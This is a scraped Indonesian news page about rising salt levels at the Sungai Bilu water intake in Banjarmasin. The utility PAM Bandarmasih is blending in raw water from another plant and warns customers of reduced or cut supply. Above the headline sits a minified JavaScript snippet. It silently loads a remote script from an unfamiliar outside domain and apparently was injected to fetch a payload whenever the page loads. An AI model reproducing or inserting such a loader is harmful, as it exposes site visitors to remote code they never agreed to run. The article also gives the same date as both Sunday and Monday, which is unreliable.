(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kadar Garam di Intake Sungai Bilu Naik, Ini yang Dilakukan PAM Bandarmasih


KANALKALIMANTAN.COM, BANJARMASIN – Peningkatan kadar garam air terjadi di Intake Sungai Bilu Banjarmasin yang menjadi tempat pertama sumber air baku diolah menjadi air bersih.

Dari hasil pemeriksaan PAM Bandarmasih pada Minggu (28/8/2023) kemarin, kadar garam air laut di Intake Sungai Bilu PAM Bandarmasih sudah mencapai 1.300 Ppm.

“Naiknya secara bertahap dari subuh hari hingga puncaknya sampai sekitar jam 10 pagi,” tulis Humas PAM Bandarmasih, Senin (28/8/2023) pagi.

Dijelaskan, kadar garam yang tinggi dan melebihi standar air baku tersebut menjadikan air baku yang ada di Intake Sungai Bilu tidak dapat diolah menjadi air bersih.

Baca juga: Viral Caleg DPRD Kalsel Pakai Sajadah Kenalkan Diri, Netizen: Menunggu Buku Yasin Ada Nama Caleg

Jika melihat standar yang ditetapkan Kementerian Kesehatan (Kemenkes) RI, batas kadar garam air laut yang bisa diolah yaitu 225 Ppm.

“Jadi ini sudah melebihi batas yang telah ditetapkan oleh Kemenkes,” tulis Humas PAM Bandarmasih.

Untuk mengatasi hal itu, PAM Bandarmasih sedang berusaha untuk melakukan pencampuran antara air baku yang di Intake Sungai Bilu dengan air baku yang ada di IPA II Pramuka, bertujuan menjaga pendistribusian air bersih ke pelanggan.

“Perlu disampaikan pada saat kadar air garam tinggi di Intake Sungai Bilu kita tidak bisa mengalahnya, oleh karena itu harus dicampur dengan air baku yang ada di IPA II,”

Baca juga: Barito Putera Harus Turun Peringkat, Bali United Naik ke Posisi Ketiga

Proses pencampuran air itu juga dikatakan akan berpengaruh terhadap distribusi air ke beberapa wilayah. Sebab air yang berada di IPA II sebelumnya cukup, kini harus dibagi sebagian ke IPA I.

Adapun wilayah yang terdampak yaitu khususnya yang berada di ujung jaringan mengalami penurunan distribusi air sampai dengan mati total.

“Kami mengimbau kepada seluruh pelanggan PAM Bandarmasih sehubungan mulai tingginya kadar garam air laut atau intrusi air laut, khususnya di wilayah ujung jaringan agar menyiapkan penampungan guna mengantisipasi sewaktu-waktu penurunan distribusi air sampai mati total,”. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

36 menit ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

2 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

3 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

4 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

8 jam ago

This website uses cookies.